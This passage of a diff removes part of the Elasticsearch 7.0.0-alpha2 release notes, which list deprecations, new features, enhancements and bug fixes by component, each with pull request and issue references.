-* Deprecate uses of _type as a field name in queries {es-pull}36503[#36503] (issue: {es-issue}35190[#35190])
-* Deprecate types in update_by_query and delete_by_query {es-pull}36365[#36365] (issue: {es-issue}35190[#35190])
-* For msearch templates, make sure to use the right name for deprecation logging. {es-pull}36344[#36344]
-* Deprecate types in termvector and mtermvector requests. {es-pull}36182[#36182]
-* Deprecate types in update requests. {es-pull}36181[#36181]
-* Deprecate types in document delete requests. {es-pull}36087[#36087]
-* Deprecate types in get, exists, and multi get. {es-pull}35930[#35930]
-* Deprecate types in search and multi search templates. {es-pull}35669[#35669]
-* Deprecate types in explain requests. {es-pull}35611[#35611]
-* Deprecate types in validate query requests. {es-pull}35575[#35575]
-* Deprecate types in count and msearch. {es-pull}35421[#35421] (issue: {es-issue}34041[#34041])
-
-Migration::
-* Deprecate X-Pack centric Migration endpoints {es-pull}35976[#35976] (issue: {es-issue}35958[#35958])
-
-Monitoring::
-* Deprecate /_xpack/monitoring/* in favor of /_monitoring/* {es-pull}36130[#36130] (issue: {es-issue}35958[#35958])
-
-Rollup::
-* Re-deprecate xpack rollup endpoints {es-pull}36451[#36451] (issue: {es-issue}36044[#36044])
-* Deprecate X-Pack centric rollup endpoints {es-pull}35962[#35962] (issue: {es-issue}35958[#35958])
-
-Scripting::
-* Adds deprecation logging to ScriptDocValues#getValues. {es-pull}34279[#34279] (issue: {es-issue}22919[#22919])
-* Conditionally use java time api in scripting {es-pull}31441[#31441]
-
-Search::
-* Remove X-Pack centric graph endpoints {es-pull}36010[#36010] (issue: {es-issue}35958[#35958])
-
-Security::
-* Deprecate X-Pack centric license endpoints {es-pull}35959[#35959] (issue: {es-issue}35958[#35958])
-* Deprecate /_xpack/security/* in favor of /_security/* {es-pull}36293[#36293] (issue: {es-issue}35958[#35958])
-
-SQL::
-* Deprecate X-Pack SQL translate endpoint {es-pull}36030[#36030]
-* Deprecate X-Pack centric SQL endpoints {es-pull}35964[#35964] (issue: {es-issue}35958[#35958])
-
-Watcher::
-* Deprecate X-Pack centric watcher endpoints {es-pull}36218[#36218] (issue: {es-issue}35958[#35958])
-
-
-[[feature-7.0.0-alpha2]]
-[discrete]
-=== New features
-
-Analysis::
-* Add support for inlined user dictionary in Nori {es-pull}36123[#36123] (issue: {es-issue}35842[#35842])
-* Add a prebuilt ICU Analyzer {es-pull}34958[#34958] (issue: {es-issue}34285[#34285])
-
-Java High Level REST Client::
-* Add rollup search {es-pull}36334[#36334] (issue: {es-issue}29827[#29827])
-
-Java Low Level REST Client::
-* Make warning behavior pluggable per request {es-pull}36345[#36345]
-* Add PreferHasAttributeNodeSelector {es-pull}36005[#36005]
-
-Geo::
-* Integrate Lucene's LatLonShape (BKD Backed GeoShapes) as default `geo_shape` indexing approach {es-pull}36751[#36751] (issue: {es-issue}35320[#35320])
-* Integrate Lucene's LatLonShape (BKD Backed GeoShapes) as default `geo_shape` indexing approach {es-pull}35320[#35320] (issue: {es-issue}32039[#32039])
-
-Machine Learning::
-* Add delayed datacheck to the datafeed job runner {es-pull}35387[#35387] (issue: {es-issue}35131[#35131])
-
-Mapping::
-* Make typeless APIs usable with indices whose type name is different from `_doc` {es-pull}35790[#35790] (issue: {es-issue}35190[#35190])
-
-SQL::
-* Introduce HISTOGRAM grouping function {es-pull}36510[#36510] (issue: {es-issue}36509[#36509])
-* DATABASE() and USER() system functions {es-pull}35946[#35946] (issue: {es-issue}35863[#35863])
-* Introduce INTERVAL support   {es-pull}35521[#35521] (issue: {es-issue}29990[#29990])
-
-Search::
-* Add intervals query {es-pull}36135[#36135] (issues: {es-issue}29636[#29636], {es-issue}32406[#32406])
-* Added soft limit to open scroll contexts #25244 {es-pull}36009[#36009] (issue: {es-issue}25244[#25244])
-
-[[enhancement-7.0.0-alpha2]]
-[discrete]
-=== Enhancements
-
-Aggregations::
-* Added keyed response to pipeline percentile aggregations 22302 {es-pull}36392[#36392] (issue: {es-issue}22302[#22302])
-* Enforce max_buckets limit only in the final reduction phase {es-pull}36152[#36152] (issues: {es-issue}32125[#32125], {es-issue}35921[#35921])
-* Histogram aggs: add empty buckets only in the final reduce step {es-pull}35921[#35921]
-* Handles exists query in composite aggs {es-pull}35758[#35758]
-* Added parent validation for auto date histogram {es-pull}35670[#35670]
-
-Analysis::
-* Allow word_delimiter_graph_filter to not adjust internal offsets {es-pull}36699[#36699] (issues: {es-issue}33710[#33710], {es-issue}34741[#34741])
-* Ensure TokenFilters only produce single tokens when parsing synonyms {es-pull}34331[#34331] (issue: {es-issue}34298[#34298])
-
-Audit::
-* Add "request.id" to file audit logs  {es-pull}35536[#35536]
-
-Authentication::
-* Invalidate Token API enhancements - HLRC {es-pull}36362[#36362] (issue: {es-issue}35388[#35388])
-* Add DEBUG/TRACE logs for LDAP bind {es-pull}36028[#36028]
-* Add Tests for findSamlRealm {es-pull}35905[#35905]
-* Add realm information for Authenticate API {es-pull}35648[#35648]
-* Formal support for "password_hash" in Put User {es-pull}35242[#35242] (issue: {es-issue}34729[#34729])
-
-Authorization::
-* Improve exact index matching performance {es-pull}36017[#36017]
-* `manage_token` privilege for `kibana_system` {es-pull}35751[#35751]
-* Grant .tasks access to kibana_system role {es-pull}35573[#35573]
-
-Build::
-* Sounds like typo in exception message {es-pull}35458[#35458]
-* Allow set section in setup section of REST tests {es-pull}34678[#34678]
-
-CCR::
-* Add time since last auto follow fetch to auto follow stats {es-pull}36542[#36542] (issues: {es-issue}33007[#33007], {es-issue}35895[#35895])
-* Clean followed leader index UUIDs in auto follow metadata {es-pull}36408[#36408] (issue: {es-issue}33007[#33007])
-* Change AutofollowCoordinator to use wait_for_metadata_version {es-pull}36264[#36264] (issues: {es-issue}33007[#33007], {es-issue}35895[#35895])
-* Refactor AutoFollowCoordinator to track leader indices per remote cluster {es-pull}36031[#36031] (issues: {es-issue}33007[#33007], {es-issue}35895[#35895])
-
-Core::
-* Override the JVM DNS cache policy {es-pull}36570[#36570]
-* Replace usages of AtomicBoolean based block of code by the RunOnce class {es-pull}35553[#35553] (issue: {es-issue}35489[#35489])
-* Added wait_for_metadata_version parameter to cluster state api. {es-pull}35535[#35535]
-* Extract RunOnce into a dedicated class {es-pull}35489[#35489]
-* Introduce elasticsearch-core jar {es-pull}28191[#28191] (issue: {es-issue}27933[#27933])
-*  Rename core module to server {es-pull}28180[#28180] (issue: {es-issue}27933[#27933])
-
-CRUD::
-* Rename seq# powered optimistic concurrency control parameters to ifSeqNo/ifPrimaryTerm  {es-pull}36757[#36757] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Expose Sequence Number based Optimistic Concurrency Control in the rest layer {es-pull}36721[#36721] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Add doc's sequence number + primary term to GetResult and use it for updates {es-pull}36680[#36680] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Add seq no powered optimistic locking support to the index and delete transport actions {es-pull}36619[#36619] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-
-Distributed::
-* [Close Index API] Mark shard copy as stale if needed during shard verification {es-pull}36755[#36755]
-* [Close Index API] Refactor MetadataIndexStateService {es-pull}36354[#36354] (issue: {es-issue}36249[#36249])
-* [Close Index API] Add TransportShardCloseAction for pre-closing verifications {es-pull}36249[#36249]
-* TransportResyncReplicationAction should not honour blocks {es-pull}35795[#35795] (issues: {es-issue}35332[#35332], {es-issue}35597[#35597])
-* Expose all permits acquisition in IndexShard and TransportReplicationAction {es-pull}35540[#35540] (issue: {es-issue}33888[#33888])
-* [RCI] Check blocks while having index shard permit in TransportReplicationAction {es-pull}35332[#35332] (issue: {es-issue}33888[#33888])
-
-Engine::
-* Add sequence numbers based optimistic concurrency control support to Engine {es-pull}36467[#36467] (issues: {es-issue}10708[#10708], {es-issue}36148[#36148])
-* Require soft-deletes when access changes snapshot {es-pull}36446[#36446]
-* Use delCount of SegmentInfos to calculate numDocs {es-pull}36323[#36323]
-* Always configure soft-deletes field of IndexWriterConfig {es-pull}36196[#36196] (issue: {es-issue}36141[#36141])
-* Enable soft-deletes by default on 7.0.0 or later {es-pull}36141[#36141]
-* Always return false from `refreshNeeded` on ReadOnlyEngine {es-pull}35837[#35837] (issue: {es-issue}35785[#35785])
-* Add a `_freeze` / `_unfreeze` API {es-pull}35592[#35592] (issue: {es-issue}34352[#34352])
-* [RCI] Add IndexShardOperationPermits.asyncBlockOperations(ActionListener<Releasable>) {es-pull}34902[#34902] (issue: {es-issue}33888[#33888])
-
-Features::
-* Simplify deprecation issue levels {es-pull}36326[#36326]
-
-Index APIs::
-* Add cluster-wide shard limit warnings {es-pull}34021[#34021] (issues: {es-issue}20705[#20705], {es-issue}32856[#32856])
-
-Ingest::
-* Grok fix duplicate patterns JAVACLASS and JAVAFILE  {es-pull}35886[#35886]
-* Implement Drop Processor {es-pull}32278[#32278] (issue: {es-issue}23726[#23726])
-
-Java High Level REST Client::
-* Add get users action {es-pull}36332[#36332] (issue: {es-issue}29827[#29827])
-* Add delete template API {es-pull}36320[#36320] (issue: {es-issue}27205[#27205])
-* Implement get-user-privileges API {es-pull}36292[#36292]
-* Get Deprecation Info API {es-pull}36279[#36279] (issue: {es-issue}29827[#29827])
-* Add support for Follow Stats API {es-pull}36253[#36253] (issue: {es-issue}33824[#33824])
-* Add support for CCR Stats API {es-pull}36213[#36213] (issue: {es-issue}33824[#33824])
-* Put Role {es-pull}36209[#36209] (issue: {es-issue}29827[#29827])
-* Add index templates exist API {es-pull}36132[#36132] (issue: {es-issue}27205[#27205])
-* Add support for CCR Get Auto Follow Pattern apis {es-pull}36049[#36049] (issue: {es-issue}33824[#33824])
-* Add support for CCR Delete Auto Follow Pattern API {es-pull}35981[#35981] (issue: {es-issue}33824[#33824])
-* Remove fromXContent from IndexUpgradeInfoResponse {es-pull}35934[#35934]
-* Add delete expired data API {es-pull}35906[#35906] (issue: {es-issue}29827[#29827])
-* Execute watch API {es-pull}35868[#35868] (issue: {es-issue}29827[#29827])
-* Add ability to put user with a password hash {es-pull}35844[#35844] (issue: {es-issue}35242[#35242])
-* Add ML find file structure API {es-pull}35833[#35833] (issue: {es-issue}29827[#29827])
-* Add support for get roles API {es-pull}35787[#35787] (issue: {es-issue}29827[#29827])
-* Added support for CCR Put Auto Follow Pattern API {es-pull}35780[#35780] (issue: {es-issue}33824[#33824])
-* XPack ML info action {es-pull}35777[#35777] (issue: {es-issue}29827[#29827])
-* ML Delete event from Calendar {es-pull}35760[#35760] (issue: {es-issue}29827[#29827])
-* Add ML revert model snapshot API {es-pull}35750[#35750] (issue: {es-issue}29827[#29827])
-* ML Get Calendar Events {es-pull}35747[#35747] (issue: {es-issue}29827[#29827])
-* Add high-level REST client API for `_freeze` and `_unfreeze` {es-pull}35723[#35723] (issue: {es-issue}34352[#34352])
-* Fix issue in equals impl for GlobalOperationPrivileges {es-pull}35721[#35721]
-* ML Delete job from calendar {es-pull}35713[#35713] (issue: {es-issue}29827[#29827])
-* ML Add Event To Calendar API {es-pull}35704[#35704] (issue: {es-issue}29827[#29827])
-* Add ML update model snapshot API (#35537) {es-pull}35694[#35694] (issue: {es-issue}29827[#29827])
-* Add support for CCR Unfollow API {es-pull}35693[#35693] (issue: {es-issue}33824[#33824])
-* Clean up PutLicenseResponse {es-pull}35689[#35689] (issue: {es-issue}35547[#35547])
-* Clean up StartBasicResponse {es-pull}35688[#35688] (issue: {es-issue}35547[#35547])
-* Add support for put privileges API {es-pull}35679[#35679]
-* ML Add Job to Calendar API {es-pull}35666[#35666] (issue: {es-issue}29827[#29827])
-* Add support for CCR Resume Follow API {es-pull}35638[#35638] (issue: {es-issue}33824[#33824])
-* Add support for get application privileges API {es-pull}35556[#35556] (issue: {es-issue}29827[#29827])
-* Clean up XPackInfoResponse class and related tests {es-pull}35547[#35547]
-* Add parameters to stopRollupJob API {es-pull}35545[#35545] (issue: {es-issue}34811[#34811])
-* Add ML delete model snapshot API {es-pull}35537[#35537] (issue: {es-issue}29827[#29827])
-* Add get watch API {es-pull}35531[#35531] (issue: {es-issue}29827[#29827])
-* Add ML Update Filter API {es-pull}35522[#35522] (issue: {es-issue}29827[#29827])
-* Add ml get filters api {es-pull}35502[#35502] (issue: {es-issue}29827[#29827])
-* Add ML get model snapshots API {es-pull}35487[#35487] (issue: {es-issue}29827[#29827])
-* Add "_has_privileges" API to Security Client {es-pull}35479[#35479] (issue: {es-issue}29827[#29827])
-* Add Delete Privileges API to HLRC {es-pull}35454[#35454] (issue: {es-issue}29827[#29827])
-* Add support for CCR Put Follow API {es-pull}35409[#35409]
-* Add ML delete filter action {es-pull}35382[#35382] (issue: {es-issue}29827[#29827])
-* Add delete user action {es-pull}35294[#35294] (issue: {es-issue}29827[#29827])
-* HLRC for _mtermvectors {es-pull}35266[#35266] (issues: {es-issue}27205[#27205], {es-issue}33447[#33447])
-* Reindex API with wait_for_completion false {es-pull}35202[#35202] (issue: {es-issue}27205[#27205])
-* Add watcher stats API {es-pull}35185[#35185] (issue: {es-issue}29827[#29827])
-* HLRC support for getTask {es-pull}35166[#35166] (issue: {es-issue}27205[#27205])
-* Add GetRollupIndexCaps API {es-pull}35102[#35102] (issue: {es-issue}29827[#29827])
-* HLRC: migration api - upgrade {es-pull}34898[#34898] (issue: {es-issue}29827[#29827])
-* Add stop rollup job support to HL REST Client {es-pull}34702[#34702] (issue: {es-issue}29827[#29827])
-* Bulk Api support for global parameters {es-pull}34528[#34528] (issue: {es-issue}26026[#26026])
-* Add delete rollup job support to HL REST Client {es-pull}34066[#34066] (issue: {es-issue}29827[#29827])
-* Add support for get license basic/trial status API {es-pull}33176[#33176] (issue: {es-issue}29827[#29827])
-* Add machine learning open job {es-pull}32860[#32860] (issue: {es-issue}29827[#29827])
-* Add ML HLRC wrapper and put_job API call {es-pull}32726[#32726]
-* Add Get Snapshots High Level REST API {es-pull}31537[#31537] (issue: {es-issue}27205[#27205])
-
-Java Low Level REST Client::
-* On retry timeout add root exception {es-pull}25576[#25576]
-
-Monitoring::
-* Make Exporters Async {es-pull}35765[#35765] (issue: {es-issue}35743[#35743])
-
-Geo::
-* Adds a name of the field to geopoint parsing errors {es-pull}36529[#36529] (issue: {es-issue}15965[#15965])
-* Add support to ShapeBuilders for building Lucene geometry {es-pull}35707[#35707] (issue: {es-issue}35320[#35320])
-* Add ST_WktToSQL function {es-pull}35416[#35416] (issue: {es-issue}29872[#29872])
-
-License::
-* Require acknowledgement to start_trial license {es-pull}30135[#30135] (issue: {es-issue}30134[#30134])
-
-Machine Learning::
-* Create the ML annotations index {es-pull}36731[#36731] (issues: {es-issue}26034[#26034], {es-issue}33376[#33376])
-* Split in batches and migrate all jobs and datafeeds {es-pull}36716[#36716] (issue: {es-issue}32905[#32905])
-* Add cluster setting to enable/disable config  migration {es-pull}36700[#36700] (issue: {es-issue}32905[#32905])
-* Add audits when deprecation warnings occur with datafeed start {es-pull}36233[#36233]
-* Add lazy parsing for DatafeedConfig:Aggs,Query {es-pull}36117[#36117]
-* Add support for lazy nodes (#29991) {es-pull}34538[#34538] (issue: {es-issue}29991[#29991])
-
-Network::
-* Unify transport settings naming {es-pull}36623[#36623]
-* Add sni name to SSLEngine in netty transport {es-pull}33144[#33144] (issue: {es-issue}32517[#32517])
-* Add cors support to NioHttpServerTransport {es-pull}30827[#30827] (issue: {es-issue}28898[#28898])
-* Reintroduce mandatory http pipelining support {es-pull}30820[#30820]
-* Make http pipelining support mandatory {es-pull}30695[#30695] (issues: {es-issue}28898[#28898], {es-issue}29500[#29500])
-* Add nio http server transport {es-pull}29587[#29587] (issue: {es-issue}28898[#28898])
-* Selectors operate on channel contexts {es-pull}28468[#28468] (issue: {es-issue}27260[#27260])
-* Unify nio read / write channel contexts {es-pull}28160[#28160] (issue: {es-issue}27260[#27260])
-* Create nio-transport plugin for NioTransport {es-pull}27949[#27949] (issue: {es-issue}27260[#27260])
-* Add elasticsearch-nio jar for base nio classes {es-pull}27801[#27801] (issue: {es-issue}27802[#27802])
-* Add NioGroup for use in different transports {es-pull}27737[#27737] (issue: {es-issue}27260[#27260])
-* Add read timeouts to http module {es-pull}27713[#27713]
-* Implement byte array reusage in `NioTransport` {es-pull}27696[#27696] (issue: {es-issue}27563[#27563])
-* Introduce resizable inbound byte buffer {es-pull}27551[#27551] (issue: {es-issue}27563[#27563])
-* Decouple nio constructs from the tcp transport {es-pull}27484[#27484] (issue: {es-issue}27260[#27260])
-* Remove manual tracking of registered channels {es-pull}27445[#27445] (issue: {es-issue}27260[#27260])
-* Remove tcp profile from low level nio channel {es-pull}27441[#27441] (issue: {es-issue}27260[#27260])
-* Decouple `ChannelFactory` from Tcp classes {es-pull}27286[#27286] (issue: {es-issue}27260[#27260])
-
-Packaging::
-* Introduce Docker images build {es-pull}36246[#36246]
-* Move creation of temporary directory to Java {es-pull}36002[#36002] (issue: {es-issue}31003[#31003])
-
-Plugins::
-* Plugin install: don't print download progress in batch mode {es-pull}36361[#36361]
-
-Ranking::
-* Vector field {es-pull}33022[#33022] (issue: {es-issue}31615[#31615])
-
-Recovery::
-* Exposed engine must include all operations below global checkpoint during rollback {es-pull}36159[#36159] (issue: {es-issue}32867[#32867])
-
-Rollup::
-* Add non-X-Pack centric rollup endpoints {es-pull}36383[#36383] (issues: {es-issue}35958[#35958], {es-issue}35962[#35962])
-* Add more diagnostic stats to job {es-pull}35471[#35471]
-* Add `wait_for_completion` option to StopRollupJob API {es-pull}34811[#34811] (issue: {es-issue}34574[#34574])
-
-Scripting::
-* Update joda compat methods to use compat class {es-pull}36654[#36654]
-* [Painless] Add boxed type to boxed type casts for method/return {es-pull}36571[#36571]
-* [Painless] Add def to boxed type casts {es-pull}36506[#36506]
-
-Settings::
-* Add user-defined cluster metadata {es-pull}33325[#33325] (issue: {es-issue}33220[#33220])
-
-Search::
-* Add copy constructor to SearchRequest {es-pull}36641[#36641] (issue: {es-issue}32125[#32125])
-* Add raw sort values to SearchSortValues transport serialization {es-pull}36617[#36617] (issue: {es-issue}32125[#32125])
-* Add sort and collapse info to SearchHits transport serialization {es-pull}36555[#36555] (issue: {es-issue}32125[#32125])
-* Add default methods to DocValueFormat {es-pull}36480[#36480]
-* Respect indices options on _msearch {es-pull}35887[#35887]
-* Allow efficient can_match phases on frozen indices {es-pull}35431[#35431] (issues: {es-issue}34352[#34352], {es-issue}34357[#34357])
-* Add a new query type - ScriptScoreQuery {es-pull}34533[#34533] (issues: {es-issue}23850[#23850], {es-issue}27588[#27588], {es-issue}30303[#30303])
-
-Security::
-* Make credentials mandatory when launching xpack/migrate {es-pull}36197[#36197] (issues: {es-issue}29847[#29847], {es-issue}33972[#33972])
-
-Snapshot/Restore::
-* Allow Parallel Restore Operations {es-pull}36397[#36397]
-* Repo Creation out of ClusterStateTask {es-pull}36157[#36157] (issue: {es-issue}9488[#9488])
-* Add read-only repository verification {es-pull}35731[#35731] (issue: {es-issue}35703[#35703])
-
-SQL::
-* Extend the ODBC metric by differentiating between 32 and 64bit platforms {es-pull}36753[#36753] (issue: {es-issue}36740[#36740])
-* Fix wrong appliance of StackOverflow limit for IN {es-pull}36724[#36724] (issue: {es-issue}36592[#36592])
-* Introduce NOW/CURRENT_TIMESTAMP function {es-pull}36562[#36562] (issue: {es-issue}36534[#36534])
-* Move requests' parameters to requests JSON body {es-pull}36149[#36149] (issue: {es-issue}35992[#35992])
-* Make INTERVAL millis optional {es-pull}36043[#36043] (issue: {es-issue}36032[#36032])
-* Implement data type verification for conditionals {es-pull}35916[#35916] (issue: {es-issue}35907[#35907])
-* Implement GREATEST and LEAST functions {es-pull}35879[#35879] (issue: {es-issue}35878[#35878])
-* Implement null safe equality operator `<=>` {es-pull}35873[#35873] (issue: {es-issue}35871[#35871])
-* SYS COLUMNS returns ODBC specific schema {es-pull}35870[#35870] (issue: {es-issue}35376[#35376])
-* Polish grammar for intervals {es-pull}35853[#35853]
-* Add filtering to SYS TYPES {es-pull}35852[#35852] (issue: {es-issue}35342[#35342])
-* Implement NULLIF(expr1, expr2) function {es-pull}35826[#35826] (issue: {es-issue}35818[#35818])
-* Lock down JDBC driver {es-pull}35798[#35798] (issue: {es-issue}35437[#35437])
-* Implement NVL(expr1, expr2) {es-pull}35794[#35794] (issue: {es-issue}35782[#35782])
-* Implement ISNULL(expr1, expr2) {es-pull}35793[#35793] (issue: {es-issue}35781[#35781])
-* Implement IFNULL variant of COALESCE {es-pull}35762[#35762] (issue: {es-issue}35749[#35749])
-* XPack FeatureSet functionality {es-pull}35725[#35725] (issue: {es-issue}34821[#34821])
-* Perform lazy evaluation of mismatched mappings {es-pull}35676[#35676] (issues: {es-issue}35659[#35659], {es-issue}35675[#35675])
-* Improve validation of unsupported fields {es-pull}35675[#35675] (issue: {es-issue}35673[#35673])
-* Move internals from Joda to java.time {es-pull}35649[#35649] (issue: {es-issue}35633[#35633])
-
-Stats::
-* Handle OS pretty name on old OS without OS release {es-pull}35453[#35453] (issue: {es-issue}35440[#35440])
-
-Task Management::
-* Periodically try to reassign unassigned persistent tasks {es-pull}36069[#36069] (issue: {es-issue}35792[#35792])
-* Only require task permissions {es-pull}35667[#35667] (issue: {es-issue}35573[#35573])
-* Retry if task can't be written {es-pull}35054[#35054] (issue: {es-issue}33764[#33764])
-
-ZenDiscovery::
-* Add discovery types to cluster stats {es-pull}36442[#36442]
-* Introduce `zen2` discovery type {es-pull}36298[#36298]
-* Zen2: Persist cluster states the old way on non-master-eligible nodes {es-pull}36247[#36247] (issue: {es-issue}3[#3])
-* [Zen2] Storage layer WriteStateException propagation {es-pull}36052[#36052]
-* [Zen2] Implement Tombstone REST APIs {es-pull}36007[#36007]
-* [Zen2] Update default for USE_ZEN2 to true {es-pull}35998[#35998]
-* [Zen2] Add warning if cluster fails to form fast enough {es-pull}35993[#35993]
-* [Zen2] Allow Setting a List of Bootstrap Nodes to Wait for {es-pull}35847[#35847]
-* [Zen2] VotingTombstone class {es-pull}35832[#35832]
-* [Zen2] PersistedState interface implementation {es-pull}35819[#35819]
-* [Zen2] Support rolling upgrades from Zen1 {es-pull}35737[#35737]
-* [Zen2] Add lag detector {es-pull}35685[#35685]
-* [Zen2] Move ClusterState fields to be persisted to ClusterState.Metadata {es-pull}35625[#35625]
-* [Zen2] Introduce ClusterBootstrapService {es-pull}35488[#35488]
-* [Zen2] Introduce vote withdrawal {es-pull}35446[#35446]
-* Zen2: Add basic Zen1 transport-level BWC {es-pull}35443[#35443]
-
-[[bug-7.0.0-alpha2]]
-[discrete]
-=== Bug fixes
-
-Aggregations::
-* fix MultiValuesSourceFieldConfig toXContent {es-pull}36525[#36525] (issue: {es-issue}36474[#36474])
-* Cache the score of the parent document in the nested agg {es-pull}36019[#36019] (issues: {es-issue}34555[#34555], {es-issue}35985[#35985])
-* Correct implemented interface of ParsedReverseNested {es-pull}35455[#35455] (issue: {es-issue}35449[#35449])
-* Handle IndexOrDocValuesQuery in composite aggregation {es-pull}35392[#35392]
-
-Audit::
-* Fix origin.type for connection_* events {es-pull}36410[#36410]
-* Fix IndexAuditTrail rolling restart on rollover edge {es-pull}35988[#35988] (issue: {es-issue}33867[#33867])
-
-Authentication::
-* Fix kerberos setting registration {es-pull}35986[#35986] (issues: {es-issue}30241[#30241], {es-issue}35942[#35942])
-* Add support for Kerberos V5 Oid {es-pull}35764[#35764] (issue: {es-issue}34763[#34763])
-
-Build::
-* Use explicit deps on test tasks for check {es-pull}36325[#36325]
-* Fix jdbc jar pom to not include deps {es-pull}36036[#36036] (issue: {es-issue}32014[#32014])
-* Fix official plugins list {es-pull}35661[#35661] (issue: {es-issue}35623[#35623])
-
-CCR::
-* Fix follow stats API's follower index filtering feature {es-pull}36647[#36647]
-* AutoFollowCoordinator should tolerate that auto follow patterns may be removed {es-pull}35945[#35945] (issue: {es-issue}35937[#35937])
-* Only auto follow indices when all primary shards have started {es-pull}35814[#35814] (issue: {es-issue}35480[#35480])
-* Avoid NPE in follower stats when no tasks metadata {es-pull}35802[#35802]
-* Fix the names of CCR stats endpoints in usage API {es-pull}35438[#35438]
-
-Circuit Breakers::
-* Modify `BigArrays` to take name of circuit breaker {es-pull}36461[#36461] (issue: {es-issue}31435[#31435])
-
-Core::
-* Fix CompositeBytesReference#slice to not throw AIOOBE with legal offsets. {es-pull}35955[#35955] (issue: {es-issue}35950[#35950])
-* Suppress CachedTimeThread in hot threads output {es-pull}35558[#35558] (issue: {es-issue}23175[#23175])
-* Upgrade to Joda 2.10.1 {es-pull}35410[#35410] (issue: {es-issue}33749[#33749])
-
-Distributed::
-* Combine the execution of an exclusive replica operation with primary term update {es-pull}36116[#36116] (issue: {es-issue}35850[#35850])
-* ActiveShardCount should not fail when closing the index {es-pull}35936[#35936]
-
-Engine::
-* Set Lucene version upon index creation. {es-pull}36038[#36038] (issue: {es-issue}33826[#33826])
-* Wrap can_match reader with ElasticsearchDirectoryReader {es-pull}35857[#35857]
-* Copy checkpoint atomically when rolling generation {es-pull}35407[#35407]
-
-Geo::
-* More robust handling of ignore_malformed in geoshape parsing {es-pull}35603[#35603] (issues: {es-issue}34047[#34047], {es-issue}34498[#34498])
-* Better handling of malformed geo_points {es-pull}35554[#35554] (issue: {es-issue}35419[#35419])
-* Enables coerce support in WKT polygon parser {es-pull}35414[#35414] (issue: {es-issue}35059[#35059])
-
-Index APIs::
-* Fix duplicate phrase in shrink/split error message {es-pull}36734[#36734] (issue: {es-issue}36729[#36729])
-* Raise a 404 exception when document source is not found (#33384) {es-pull}34083[#34083] (issue: {es-issue}33384[#33384])
-
-Ingest::
-* Fix on_failure with Drop processor {es-pull}36686[#36686] (issue: {es-issue}36151[#36151])
-* Support default pipelines + bulk upserts {es-pull}36618[#36618] (issue: {es-issue}36219[#36219])
-* Support default pipeline through an alias {es-pull}36231[#36231] (issue: {es-issue}35817[#35817])
-
-License::
-* Do not serialize basic license exp in x-pack info {es-pull}30848[#30848]
-* Update versions for start_trial after backport {es-pull}30218[#30218] (issue: {es-issue}30135[#30135])
-
-Machine Learning::
-* Interrupt Grok in file structure finder timeout {es-pull}36588[#36588]
-* Prevent stack overflow while copying ML jobs and datafeeds {es-pull}36370[#36370] (issue: {es-issue}36360[#36360])
-* Adjust file structure finder parser config {es-pull}35935[#35935]
-* Fix find_file_structure NPE with should_trim_fields {es-pull}35465[#35465] (issue: {es-issue}35462[#35462])
-* Prevent notifications being created on deletion of a non existent job {es-pull}35337[#35337] (issues: {es-issue}34058[#34058], {es-issue}35336[#35336])
-* Clear Job#finished_time when it is opened (#32605) {es-pull}32755[#32755]
-* Fix thread leak when waiting for job flush (#32196) {es-pull}32541[#32541] (issue: {es-issue}32196[#32196])
-* Fix CPoissonMeanConjugate sampling error. {ml-pull}335[#335]
-
-Network::
-* Do not resolve addresses in remote connection info {es-pull}36671[#36671] (issue: {es-issue}35658[#35658])
-* Always compress based on the settings {es-pull}36522[#36522] (issue: {es-issue}36399[#36399])
-* http.publish_host Should Contain CNAME {es-pull}32806[#32806] (issue: {es-issue}22029[#22029])
-* Adjust SSLDriver behavior for JDK11 changes {es-pull}32145[#32145] (issues: {es-issue}32122[#32122], {es-issue}32144[#32144])
-* Add TRACE, CONNECT, and PATCH http methods {es-pull}31035[#31035] (issue: {es-issue}31017[#31017])
-* Transport client: Don't validate node in handshake {es-pull}30737[#30737] (issue: {es-issue}30141[#30141])
-* Fix issue with finishing handshake in ssl driver {es-pull}30580[#30580]
-* Remove potential nio selector leak {es-pull}27825[#27825]
-* Fix issue where the incorrect buffers are written {es-pull}27695[#27695] (issue: {es-issue}27551[#27551])
-* Do not set SO_LINGER on server channels {es-pull}26997[#26997]
-* Do not set SO_LINGER to 0 when not shutting down {es-pull}26871[#26871] (issue: {es-issue}26764[#26764])
-* Release pipelined http responses on close {es-pull}26226[#26226]
-
-Packaging::
-* Fix error message when package install fails due to missing Java {es-pull}36077[#36077] (issue: {es-issue}31845[#31845])
-* Add missing entries to conffiles  {es-pull}35810[#35810] (issue: {es-issue}35691[#35691])
-
-Plugins::
-* Ensure that azure stream has socket privileges {es-pull}28751[#28751] (issue: {es-issue}28662[#28662])
-
-Recovery::
-* Register ResyncTask.Status as a NamedWriteable {es-pull}36610[#36610]
-
-Rollup::
-* Fix rollup search statistics {es-pull}36674[#36674]
-
-Scripting::
-* Properly support no-offset date formatting {es-pull}36316[#36316] (issue: {es-issue}36306[#36306])
-* [Painless] Generate Bridge Methods {es-pull}36097[#36097]
-* Fix serialization bug in painless execute api request {es-pull}36075[#36075] (issue: {es-issue}36050[#36050])
-* Actually add joda time back to whitelist {es-pull}35965[#35965] (issue: {es-issue}35915[#35915])
-* Add back joda to whitelist {es-pull}35915[#35915] (issue: {es-issue}35913[#35913])
-
-Settings::
-* Correctly Identify Noop Updates {es-pull}36560[#36560] (issue: {es-issue}36496[#36496])
-
-SQL::
-* Fix translation of LIKE/RLIKE keywords {es-pull}36672[#36672] (issues: {es-issue}36039[#36039], {es-issue}36584[#36584])
-* Scripting support for casting functions CAST and CONVERT {es-pull}36640[#36640] (issue: {es-issue}36061[#36061])
-* Fix translation to painless for conditionals {es-pull}36636[#36636] (issue: {es-issue}36631[#36631])
-* Concat should be always not nullable {es-pull}36601[#36601] (issue: {es-issue}36169[#36169])
-* Fix MOD() for long and integer arguments {es-pull}36599[#36599] (issue: {es-issue}36364[#36364])
-* Fix issue with complex HAVING and GROUP BY ordinal {es-pull}36594[#36594] (issue: {es-issue}36059[#36059])
-* Be lenient for tests involving comparison to H2 but strict for csv spec tests {es-pull}36498[#36498] (issue: {es-issue}36483[#36483])
-* Non ISO 8601 versions of DAY_OF_WEEK and WEEK_OF_YEAR functions {es-pull}36358[#36358] (issue: {es-issue}36263[#36263])
